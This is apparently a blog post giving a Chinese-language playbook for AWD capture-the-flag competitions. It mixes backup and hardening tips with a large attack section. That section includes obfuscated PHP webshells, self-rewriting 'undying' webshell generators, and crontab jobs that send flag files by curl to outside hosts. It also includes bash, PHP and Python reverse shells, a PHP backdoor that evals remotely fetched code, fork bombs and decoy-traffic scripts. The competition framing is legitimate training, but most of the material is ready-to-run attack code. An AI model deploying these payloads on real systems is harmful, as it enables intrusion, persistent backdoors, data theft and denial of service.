AWD起手式及比赛总结

前言:算是第一次打awd,比赛前做了挺长时间的准备,但是比赛中出现的各种状况还是搞得自己措手不及。比赛前就一直看各位大佬的awd总结,想自己总结出一套比较科学合理的web awd上手流程,但奈何一场比赛中也没办法遇到较全的情况(主要还是自己太菜),只能尽量总结的全一些,没提到的接下来再慢慢补充吧

连接

  • 正常ssh利用密钥登陆:

ssh -i -id_ras user@ip

  • 免密登陆命令:

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.1.100

将公钥复制,实现免密登陆,root处换成需要的。

修改ssh密码(可选)

源码备份

  1. 可使用带界面的工具如xftp、Filezilla进行备份,操作便捷。

    也可使用scp命令:

    scp -r -P Port remote_username@remote_ip:remote_folder local_file

    如果源码太大最好使用压缩命令先进行源码打包后再传输,这次awd就踩了这个坑,部分题目源码文件大且多,传输速度感人。。

    压缩命令:tar -zcvf /home/html.tar.gz /html

    (把html文件夹打包后生成一个/home/html.tar.gz文件)

  2. 数据库备份:

  • 找配置文件,找到用户名和密码之后登陆mysql

  • [root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
    [root@localhost mysql]# mysqldump -u root -p Test>Test0809.sql,输入密码即可。

  1. 数据库还原:
  • 法一:
    [root@localhost ~]# mysql -u root -p 回车,输入密码,进入MySQL的控制台”mysql>”,输入命令”show databases;”。
  • 看看有些什么数据库;
  • 建立你要还原的数据库,输入”create database voice;”,切换到刚建立的数据库,输入”use voice;”,回车;导入数据,输入”source voice.sql;”,回车,开始导入,再次出现”mysql>”并且没有提示错误即还原成功。
    [root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
    [root@localhost mysql]# mysql -u root -p Test<Test0809.sql,输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令|)。
    moodle_bak.sql是需要恢复的文件名

wy大佬课上讲的备份方法

  1. web目录备份

    备份最好基于时间备份,每十分钟运行一次

    1
    2
    3
    4
    #!/bin/bash
    time=`date +%d%k%M`
    tar -zcvf ~/backup/$time.tar.gz
    /var/www/html/
    1
    2
    3
    crontab -e

    10 * * * * ~/webback.sh
  2. 数据库备份

    1
    2
    3
    4
    5
    6
    7
    mysqldump -uroot -p --single-transaction --all-databases > backup.sql #所有
    mysqldump -u root -p --single-transaction dataname > dataname.sql #单个

    #遇到加锁的情况:
    mysqldump --skip-lock-tables -uxxxx -p -h 166.111.9.173 -R urlevent20180319 > ./backup.sql

    `mysqldump -h127.0.0.1 -uroot -ppassword database |gzip > $backupDir/$database-$today.sql.gz`

    同样也可以用crontab定时备份

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #!/bin/bash
    #mysql 备份脚本
    #备份目录
    backupDir=/home/backup/database
    #mysqlDump
    mysqldump=/usr/local/mariadb/bin/mysqldump
    #ip
    host=127.0.0.1
    #用户名
    username=root
    password=xxxx
    #日期
    today=`date +%Y%m%d`
    #要备份的数据库数组
    databases=(blog chinese_medicne)
    #echo $databaseCount
    for database in ${databases[@]}
    do
    echo `开始备份`$database
    $mysqldump -h$host -u$username -p$password $database | gzip > $backupDir/$database-$today.sql.gz
    echo `成功备份`$database`到`$backupDir/$database-$today.sql.gz
    done
    1
    2
    crontab -e
    10 * * * * ~/sqlbak.sh
  3. 数据库恢复

    • 恢复mysql

      mysql -uroot -p TEST < bak.sql

    • 修改mysql密码

      1
      2
      update mysql.user set password=PASSWORD('skyboy') where user='root' and host='localhost';
      flush privileges;
    • 数据库降权(防止别人改你的数据库密码)

      1
      2
      3
      CREATE USER 'dog'@'localhost' IDENTIFIED BY '123456';
      GRANT ALL ON databasename.* TO 'dog'@'localhost';
      flush privileges;

扫描网段,获取网络拓扑

  1. nmap –sn 192.168.71.0/24

    nmap -sP 192.168.71.100-254

  2. https://github.com/zer0h/httpscan 的脚本进行扫描

  3. router scan

Patch

1.不死马查杀

1
2
3
4
5
6
ps -aux|grep 'www-data'|awk '{print $2}'|xargs kill -9
killall -9 php5-fpm
killall -9 apache2
pgrep php-fpm |xargs kill -9
killall -u www-data
killall -u www-data && rm *

比如存在不死马.yulaoshi.php

1
2
3
rm .yulaoshi.php && mkdir .yulaoshi.php #此时,只是不死马不能继续写,要想完全杀死还是要清内存
ps -aux|grep 'www-data'|awk '{print $2}'|xargs kill -9
rmdir .yulaoshi.php

2.定时任务–Crontab相关

* * * * * 命令

五个*从左到右分别是:分钟、小时、日、月、星期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo ''|crontab  #添加一条crontab
crontab -r #删除crontab
crontab -e #修改crontab
crontab -l #获取crontab

#查看定时任务:
cat /etc/crontab*
crontab -l

#crontab备份
crontab -l > $HOME/mycron

#利用crontab提交flag
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /flag)'&token=xxx'
  • 反弹shell

    bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'

  • 添加crontab

    echo "* * * * * bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'"|crontab

  • 编码

    echo -n "* * * * * bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'"|base64 -w 0

3.常用指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ps aux|grep www-data

#杀某个用户
ps -u username | grep -v PID | awk '{print $1}' | xargs kill -9
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名

#查看已建立的网络连接及进程
netstat -antulp | grep EST

#查看指定端口被哪个进程占用
lsof -i:端口号
netstat -tunlp|grep 端口号

#结束进程命令
kill pid
killall <进程名>
kill - <pid>
find / *.php -perm 4777 #查找777权限的php文件
awk -F: '{if($3==0)print $1}' /etc/passwd #查看root权限的账号

#检测所有的tcp连接数量及状态
netstat -ant|awk '{print $5 "\t" $6}' |grep "[1-9][0-9]*\."|sed -e 's/::ffff://' -e 's/:[0-9]*//'|sort|uniq -c|sort -rn

#查看已建立的网络连接以及对应进程
netstat -antulp | grep EST

#查看指定目录下文件时间的排序
ls -alt | head -n 10

#删除-开头的文件
rm -rf 'ls ^-'
rm -- -foo
rm ./-foo

4.流量抓取

  1. php篇

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    function blackListFilter($black_list, $var){
    foreach($black_listas $b) {
    if(stripos($var, $b) !== False){
    var_dump($b);
    die();
    }
    }
    }
    $black_list= ['eval', 'assert', 'shell_exec', 'system', 'call_user_func', 'call_user_method', 'passthru'];
    $var_array_list= [$_GET, $_POST, $_COOKIE];
    foreach($var_array_listas $var_array) {
    foreach($var_arrayas $var) {
    blackListFilter($black_list, $var);
    }
    }
    ?>
  2. python Tornado篇

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import tornado.web
    from models import db

    class BaseHandler(tornado.web.RequestHandler):
    @property
    def orm(self):
    return db()

    def on_finish(self):
    db.remove()

    def get_current_user(self):
    return self.get_secure_cookie("username")

    def check_captcha(self):
    try:
    x = float(self.get_argument('captcha_x'))
    y = float(self.get_argument('captcha_y'))
    if x and y:
    uuid = self.application.uuid
    answer = self.application._get_ans(uuid)
    print x,y,uuid, answer
    if float(answer['ans_pos_x_1']) <= x <= (float(answer['ans_width_x_1']) + float(answer['ans_pos_x_1'])):
    if float(answer['ans_pos_y_1']) <= y <= (
    float(answer['ans_height_y_1']) + float(answer['ans_pos_y_1'])):
    return True
    return False
    except Exception as ex:
    print str(ex)
    return False

5.WAF

待补全。

6.文件监控

待补全。

7.其他

Exploit

攻击框架使用

待补全。

RCE之后

1.写webshell

webshell好有一定的伪装性,文件名可以以 . 开头

对于不同肉鸡上的webshell设置不同密码,防止别人用你的马来收 flag

1
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
1
2
3
<?php 

?>
1
2
3
4
5
6
7
8
<?php 
$_uU=chr(99).chr(104).chr(114);
echo $_uU; $_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(3 6).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU( 49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(1 01).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117) .$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).
$_uU(110);
echo $_cC;
$_=$_fF("",$_cC);@$_();
?>
//eval($_POST[1])

2.写不死马

  • eval型

    1
    2
    3
    4
    5
    6
    7
    8
    def write_memery_webshell(url, directory, password): 
    sleep_time = 500 # micro second
    code = "<?php $content = '<?php eval(base64_decode($_REQUEST[%s]));?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
    filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    print payload
    return code_exec(url, payload).split("\n")[0:-1]
  • 命令型

    1
    2
    3
    4
    5
    6
    7
    def write_memery_webshell(url, directory, password): 
    sleep_time = 500 # micro second
    code = "<?php ?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
    filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    return shell_exec(url, payload).split("\n")[0:-1]
  • 唤醒内存马

    1
    2
    3
    4
    5
    def active_memery_webshell(url): 
    try:
    requests.get(url, timeout=0.5)
    except:
    print "[+] OK!"

3. Crontab

1
2
3
4
5
6
7
8
$message="* * * * * curl 192.168.136.1:8098/?flag=$(cat /var/www/html/flag)&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH 9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY"; ignore_user_abort(true); 
set_time_limit(0);
while (true) {
$x =file_get_contents('/var/www/html/flag'); file_get_contents('http://192.168.136.1:8099/test.php?token=kericwy&fla g='.$x);
sleep(5);
system("echo '$message' > /tmp/1 ;");
system("crontab /tmp/1;");
system("rm /tmp/1;"); $c=file_get_contents('http://192.168.136.1:8100/1.txt'); system($c);

4.反弹shell

  • bash:
1
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
  • php:
1
php -r '$sock=fsockopen("127.0.0.1","4444");exec("/bin/sh -i <&3 >&3 2>&3");'         //这里需要注意下单双引号的闭合问题
  • python:
1
2
3
4
5
6
7
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("xx.xx.xx.xx",5556))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"]);
  • 在反弹回来的shell中出现tty错误的时候我们的做法:

    python -c 'import pty; pty.spawn("/bin/bash")'

  • 反弹shell接收器

    Reverse-shell-manager

5.进程守护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
while [[ : ]]; do 
# tell php that i am living

echo "Creating lock file..."
touch -a ${bash_lock_file}
# check php is living or not

last_access_time=`stat -c %X ${php_lock_file}`
now_time=`date +%s`
echo "php last alive time : ${last_access_time}"
echo $[ $now_time - $last_access_time ];
if [ ! -f "${php_lock_file}" ] || [ $[ $now_time - $last_access_time ] -gt $((sleep_time+1)) ]; then
echo "[-] php script is dead!"
echo "downloading php script"
wget ${php_url} -O $target_path && curl ${start_url} -m ${time_out} else
echo "PHP script is alive..."
fi
# sleeping
echo "sleeping..."
sleep ${sleep_time}
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ignore_user_abort(true); 
set_time_limit(0);
$sleep_time = 3; // max sleep_time : 3 seconds
$content = file_get_contents($bash_url);
while(true){
// tell bash that i am living
echo "Telling bash that i am alive...\n";
touch($php_lock_file);
echo "PHP Lock file last accessed : ".(time() - fileatime($php_lock_file))."\n";
// check bash is living or not
echo "Checking the bash script is alive or not...\n";
if(!(file_exists($bash_lock_file) && ((time() - fileatime($bash_lock_file)) < ($sleep_time + 1)))){
echo "The bash script is dead!\n";
// download bash script
echo "Downloading bash script...\n";
@file_put_contents($bash_path, $content);
// restart bash script
echo "Restarting bash script...\n";
@popen('nohup bash '.$bash_path.' &', 'r');
}
// control loop speed
echo "Sleeping...\n";
sleep($sleep_time);
// backdoor
echo "Executing backdoor...";
@eval(file_get_contents($code_url));

6.fork炸弹

  • eval型

    1
    2
    3
    4
    5
    6
    def main(): 
    host = "192.168.50.57"
    port = "80"
    url = "http://%s:%s/code.php" % (host, port)
    code = "system(\"echo '.() { .|.& } && .' > /tmp/aaa\");system(\"/bin/bash /tmp/aaa\");echo \"seems good!\";"
    print code_exec(url, code)
  • 命令型

    1
    2
    3
    4
    5
    6
    def main(): 
    host = "127.0.0.1"
    port = "80"
    url = "http://%s:%s/c.php" % (host, port)
    command = ":(){ :|: & };:"
    shell_exec(url, command)

辣鸡流量生成器

为了减少payload被别人轻易获取并重放,我们需要不断释 放大量的垃圾流量;好里面有众多的flag字符串来扰乱敌 人的分析。
比赛开始,完成了基础的运维工作后,运维手就可以往外打垃圾流量了;垃圾流量的发射要贯穿整个比赛流程,以掩护 我们真正的攻击payload。

从题目源码中获取真实参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_all(root, arg): 
all = []
result = os.walk(root)
for path,d,filelist in result:
for file in filelist:
if file.endswith(".php"):
full_path = path + "/" + file
content = get_content(full_path) all.append(("/" + file, find_arg(content, arg)))
return all
def main():
root = "."
print get_all(root, "_GET")
print get_all(root, "_POST")
print get_all(root, "_COOKIE")

垃圾流量生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_fake_plain_payloads(flag_path): payloads = []
payloads.append('system("cat %s");' % (flag_path))
payloads.append('highlight_file("%s");' % (flag_path))
payloads.append('echo file_get_contents("%s");' % (flag_path))
payloads.append('var_dump(file_get_contents("%s"));' %(flag_path))
payloads.append('print_r(file_get_contents("%s"));' % (flag_path))
return payloads

def get_fake_base64_payloads(flag_path):
payloads = get_fake_plain_payloads(flag_path)
return [payload.encode("base64").replace("\n","") for payload in payloads]

def main():
flag_path = "/home/web/flag/flag"
print get_fake_plain_payloads(flag_path)
print get_fake_base64_payloads(flag_path)

垃圾流量发射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def handle_get(url, root, flag_path): 
all_requests = []
http_get = get_all(root, "_GET")
plain_payloads = get_fake_plain_payloads(flag_path)
base64_payloads = get_fake_base64_payloads(flag_path)
for item in http_get:
path = item[0]
args = item[1]
for arg in args:
for payload in plain_payloads:
new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
request = requests.Request("GET", new_url)
all_requests.append(request)
for payload in base64_payloads:
new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
request = requests.Request("GET", new_url)
all_requests.append(request)
return all_requests

流量重放

对于团队中的attacker而言,流量的快速同步和好用的流量 分析机制是非常有用的; 对于可疑的流量,应该能快速粘贴到burp等工具中进行测试, 如果可以攻击则使用script-gen等插件迅速生成攻击脚本并 整合到攻击框架中。
把流量down下来:scp -r gamebox:/ctfer/logs/ ./ 也可以使用定时脚本的方式。

由burp生成EXP的神器:

点击下载

工具

待补全

defense

  • 黑白名单过滤脚本

  • 修改curl、cat等命令

  • 不死马删除脚本

    (1).ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

    (2).重启php等web服务

    (3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

    (4).创建一个和不死马生成的马一样名字的文件夹。

    小 Trick: 使用 find / -name *flag*grep -rn ”flag” * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

ps auxww|grep .yulaoshi1.php

crontab

1
system('echo \"* * * * * cat /flag/flag.txt | curl http://172.91.0.115:3001/flag --data-binary @- \n* * * * * echo \\\"<?php \\\\\\n if(@md5(\\\\\\\$_POST[pass])==\\\\\\\"03ae84723832951e7a85a81d9c38a76a\\\\\\\"){@eval(\\\\\\\$_POST[\"1\"]);} \\\\\\n \\\" > /var/www/html/Cyc1e.php \" | crontab')

由于比较快扫到了 Wordpress 中的一句话木马,所以立即连接木马,批量插入了Crontab定时任务,利用木马直接调用 system() 函数,嵌入反弹flag的定时任务,不管对方怎么补漏洞,一样能很轻松的拿到 flag 的(本菜第一次线下的时候被一白师傅这样打蒙了

一共植入了两条定时任务(按个人需求植入),第一个定时任务是每个一分钟带着flag,post请求我本地开启的3001端口的web服务一次,所以就坐着收flag就好了,第二个定时任务是往网站根木马写马,植入的效果 ↓ ↓ ↓

mark

所以本地起个flask服务(比较好自动化提交flag和设定端口),接受 flag 并自动提交就好了,大师傅们问没有权限怎么执行crontab,crontab不需要root权限的,什么用户起的就是什么权限,所以www-data用户注上命令,需要本地上个 shell 去kill才行的。
mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# - coding:utf8
from flask import *
import requests

app = Flask(__name__)

url = "http://172.91.1.12:9090/arace/index"
token = "0ade4d3d8b7ed42f"

server_port = 3001


def submit_token(url,answer,token):
data ={"token":token,"flag":answer}
resp = requests.post(url,data=data)
if (resp.status_code != "404"):
print "Status code:%d"%(resp.status_code)

def submit_cookie(ip,answer):
submit_ip = '172.91.1.12:9090'
urls='http://%s/ad/hacker/submit/submitCode'% submit_ip
post = {'flag':answer}
'''cmder = ' %s -b "JSESSIONID=C64DD133EFDDB22CE5BE4CA3991AB6DF" -d "flag=%s"'% (urls,answer)
#print cmd
os.system('curl ' + cmder)'''

header = {'Host': '172.91.1.12:9090',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://172.91.1.12:9090/arace/index',
'Content-Length': '14',
'Cookie': 'JSESSIONID=77A0AFA7757CE43018889FCF9AAFE59A'}

req = requests.post(urls,headers = header,data=post)
print req.content
if 'errorInfo' not in req.content:
print ' ' + req.content


last_flag = {}


@app.route('/flag', methods=['POST'])
def receive_flag():
flag = request.get_data().strip()
ip = request.remote_addr
if not last_flag.has_key(ip):
last_flag[ip] = set()
ip_flag_list = last_flag.get(ip, set())
if flag in ip_flag_list:
print "Receive %s from %s , already submitted." % (flag, ip)
return ""
ip_flag_list.add(flag)
result = ""
print "\nReceive from : %s\nflag : %s"% (ip,flag)
submit_cookie(ip,flag)
return ''


if __name__ == '__main__':
app.run("0.0.0.0", port=server_port)